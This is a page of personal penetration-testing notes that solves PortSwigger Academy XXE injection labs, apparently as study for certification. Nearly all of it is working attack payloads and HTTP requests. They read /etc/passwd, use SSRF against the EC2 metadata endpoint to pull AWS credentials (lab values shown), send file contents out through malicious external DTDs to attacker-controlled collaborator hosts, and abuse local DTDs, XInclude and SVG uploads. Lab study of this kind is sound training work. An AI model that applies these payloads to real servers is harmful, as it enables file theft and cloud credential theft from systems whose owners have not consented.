OffSec Notes
  • Offensive Security Notes
    • Linux/Unix
      • Checklist - PrivEsc
        • Related Links
        • Kernel Exploits
        • MYSQL
          • HEX
        • SUID
        • Relative Path in SUID Program
        • Writable /etc/passwd file
        • Writable script in /etc/crontab
        • Writable services
        • Sudo <=1.8.14
        • Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit
        • Docker
          • Docker Escape
        • davfs2
        • gcore
        • fail2ban
        • git
        • tar with wildcard
        • Exiftool
      • Limited Shell Escape
      • Wordpress
      • Apache Tomcat
      • Werkzeug Console PIN bypass
        • get_flask_pin.py
      • Java Object Deserialization
      • Redis RCE
      • mongodb
      • Postgres
      • Erlang - 4369
      • rsync - 873
      • Sendmail ClamAV
      • VNC Password Decryptor
    • Windows
      • Checklist - PrivEsc
        • MSSQL
        • PsExec.exe
        • Build Exploits
        • Unquoted Service Paths
        • SeImpersonateToken
        • SeRestorePrivilege
        • SeBackupPrivilege
        • Abuse GPO
        • Job with editable file
        • AlwaysInstallElevated
        • Misconfigured LDAP
        • GMSA
        • MS17-010
      • Useful PS Scripts
        • GetUserSPNs.ps1
        • Master MDF Hash Extraction
        • Spray-Passwords.ps1
      • Password Extraction
      • Office Macro
        • Microsoft Office
        • Open Office
      • Post Exploitation
    • Web
      • SQL Injection
        • mongodb 2.2.3
        • UNION BASED
          • MSSQL
          • Oracle
        • ERROR BASED
        • node.js
    • Nmap samples
    • Shells
      • node.js
      • msfvenom samples
      • Reverse Shells
      • Shellter
    • Enumeration
      • SMB
      • RPC
      • LDAP
    • Buffer Overflow
      • mona
      • fuzzer.py
      • exploit.py
      • bytearray.py
      • pattern_offset.rb
      • pattern_create.rb
    • Password Cracking
    • File Download
      • FTP
    • Port Forwarding
      • Dynamic Forwarding
    • Useful links
  • Blog
    • CRTO I & II
    • OSCP Preparation
    • New OSCP Exam vs Previous OSCP Exam
    • Movements in AD
    • PWK Lab vs PG Practice
  • PortSwigger Academy
    • Server-side topics
      • Authentication vulnerabilities
      • OS Command Injection
      • File Path Traversal
      • Business logic vulnerabilities
      • Information disclosure vulnerabilities
      • Access control vulnerabilities and privilege escalation
      • File upload vulnerabilities
      • Server-side request forgery (SSRF)
      • XML external entity (XXE) injection
    • Client-side topics
      • Cross-site scripting
      • Cross-origin resource sharing (CORS)
      • Cross-site request forgery (CSRF)
      • Clickjacking (UI redressing)
      • DOM-based vulnerabilities
      • Testing for WebSockets security vulnerabilities
    • Advanced topics
      • Insecure deserialization
      • Server-side template injection
      • Web cache poisoning
      • HTTP Host header attacks
      • HTTP request smuggling
      • OAuth 2.0 authentication vulnerabilities
      • JWT attacks
  • Walkthroughs
    • PG Practice
      • Linux
        • WARM UP
          • Bratarina
          • ClamAV
          • Exfiltrated
          • Hawat
          • Interface
          • Muddy
          • Pebbles
          • Twiggy
          • Wombo
        • GET TO WORK
          • Banzai
          • Cassios
          • Dibble
          • Fail
          • G00g
          • Hetemit
          • Hunit
          • Maria
          • Nappa
          • Nibbels
          • Nukem
          • Payday
          • Pelican
          • Readys
          • Roquefort
          • Snookums
          • Sorcerer
          • Splodge
          • Sybaris
          • Walla
          • Webcal
          • XposedAPI
          • ZenPhoto
          • Zino
          • QuackerJack
        • TRY HARDER
          • Clyde
          • Peppo
          • Sirol
      • Windows
        • WARM UP
          • Algernon
          • Compromised
          • Helpdesk
          • Internal
          • Kevin
          • Metallus
        • GET TO WORK
          • AuthBy
          • Billyboss
          • Craft
          • Fish
          • Hutch
          • Jacko
          • Nickel
          • Shenzi
          • Slort
        • TRY HARDER
          • Heist
          • Meathead
          • Vault
      • Template
  • About the author
Powered by GitBook
On this page
  • Lab: Exploiting XXE using external entities to retrieve files
  • Lab: Exploiting XXE to perform SSRF attacks
  • Lab: Blind XXE with out-of-band interaction
  • Lab: Blind XXE with out-of-band interaction via XML parameter entities
  • Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
  • Lab: Exploiting blind XXE to retrieve data via error messages
  • Lab: Exploiting XXE to retrieve data by repurposing a local DTD
  • Lab: Exploiting XInclude to retrieve files
  • Lab: Exploiting XXE via image file upload
  1. PortSwigger Academy
  2. Server-side topics

XML external entity (XXE) injection

https://portswigger.net/web-security/xxe

Lab: Exploiting XXE using external entities to retrieve files

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

Base payload ->

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<...>&xxe;</...>
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>

Lab: Exploiting XXE to perform SSRF attacks

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

Base payload ->

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>2</productId>
		<storeId>1</storeId>
	</stockCheck>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>
Response: "Invalid product ID: latest"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>
Response: "Invalid product ID: meta-data"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data"> ]>
Response: "Invalid product ID: iam"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam"> ]>
Response: "Invalid product ID: security-credentials"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials"> ]>
Response: "Invalid product ID: admin"
	
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
Response: "Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2021-11-18T20:54:15.719601Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "yT93WICm9RXIMVSB5CcD",
  "SecretAccessKey" : "iSFxR1lEx0KCdNFnTGCdOsOtlAS8x2qVMpkBKhOE",
  "Token" : "67cZGemzaw3IOPF39MboahnI0OGSf8NGtjYWoGA8uO0Rg2SE0IhYdlgJMHRKXgQJMHoPonYcS3kejBQiMaVF5nv5N8HEeYd2DWcufUwiKtr73GKRQLzbwTnVJ6HknsADpKY7Z4HPU5Kgsh02aQjqGsfqjnjLZlLnfSV04Xz3qRXrE080fPFhNuviCIq51DFkpsYDCsIW7MDnT4PMxxGLkNh6HumdFiGJse1qVwxJ21BUKFkcCZhheimiZrnUWuRz",
  "Expiration" : "2027-11-17T20:54:15.719601Z"
}"

Lab: Blind XXE with out-of-band interaction

This lab has a "Check stock" feature that parses XML input but does not display the result.

You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.

l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net

Base payload ->

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net"> ]>
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>20</productId>
		<storeId>1</storeId>
	</stockCheck>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9v6h8nay5uhie9moobfyk346vcl0a.burpcollaborator.net"> ]>
	<stockCheck>
		<productId>&xxe;</productId>
		<storeId>1</storeId>
	</stockCheck>

Lab: Blind XXE with out-of-band interaction via XML parameter entities

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.

u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net

Base payload ->

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net"> %xxe; ]>
	<stockCheck>
		<productId>1</productId>
		<storeId>1</storeId>
	</stockCheck>

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab has a "Check stock" feature that parses XML input but does not display the result.

u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>19</productId>
		<storeId>1</storeId>
	</stockCheck>

Exploit Server →

File: 
	/exploit.dtd
Body: 
	<!ENTITY % file SYSTEM "file:///etc/hostname">
	<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://u833k65hpt0lqm9sq8gg7wbutlzbn0.burpcollaborator.net?x=%file;'>">
	%eval;
	%exfiltrate;
URL: 
	https://exploit-ac8d1f7b1f14413ac092a6fb01000016.web-security-academy.net/exploit.dtd

Base payload ->

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac8d1f7b1f14413ac092a6fb01000016.web-security-academy.net/exploit.dtd"> %xxe;]>
	<stockCheck>
		<productId>19</productId>
		<storeId>1</storeId>
	</stockCheck>

Collaborator -> HTTP interaction -> Request to Collaborator

GET /?x=3b2cef7412f9 HTTP/1.1

User-Agent: Java/12.0.2

This technique might not work with some file contents, including the newline characters contained in the /etc/passwd file. This is because some XML parsers fetch the URL in the external entity definition using an API that validates the characters that are allowed to appear within the URL.

Lab: Exploiting blind XXE to retrieve data via error messages

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>8</productId>
		<storeId>1</storeId>
	</stockCheck>

Exploit Server ->

File: 
	/exploit.dtd
Body: 
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///notexists/%file;'>">
	%eval;
	%error;
URL: 
	https://exploit-ac9e1fd91e2510aec0bb35eb012600ff.web-security-academy.net/exploit.dtd

Base payload ->

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-ac9e1fd91e2510aec0bb35eb012600ff.web-security-academy.net/exploit.dtd"> %xxe;]>
	<stockCheck>
		<productId>8</productId>
		<storeId>1</storeId>
	</stockCheck>

Lab: Exploiting XXE to retrieve data by repurposing a local DTD

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, trigger an error message containing the contents of the /etc/passwd file.

Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.

Checking file existence ->

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Base payload ->

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>3</productId>
		<storeId>1</storeId>
	</stockCheck>

Answer ->

POST /product/stock HTTP/1.1
...
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [
	<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamso '
	<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
	'>
	%local_dtd;
	]>
	<stockCheck>
		<productId>3</productId>
		<storeId>1</storeId>
	</stockCheck>

Lab: Exploiting XInclude to retrieve files

This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed.

Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack.

Base payload ->

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
POST /product/stock HTTP/1.1
...
productId=10&storeId=1

Answer ->

POST /product/stock HTTP/1.1
...
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Lab: Exploiting XXE via image file upload

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.

image.svg ->

<?xml version="1.0" standalone="yes"?>
	<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
	<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
		<text font-size="16" x="0" y="16">&xxe;</text>
	</svg>

Post a comment with image.svg as an avatar.

You can see the value in the photo. -> 3929646265aa

PreviousServer-side request forgery (SSRF)NextClient-side topics

Last updated 3 years ago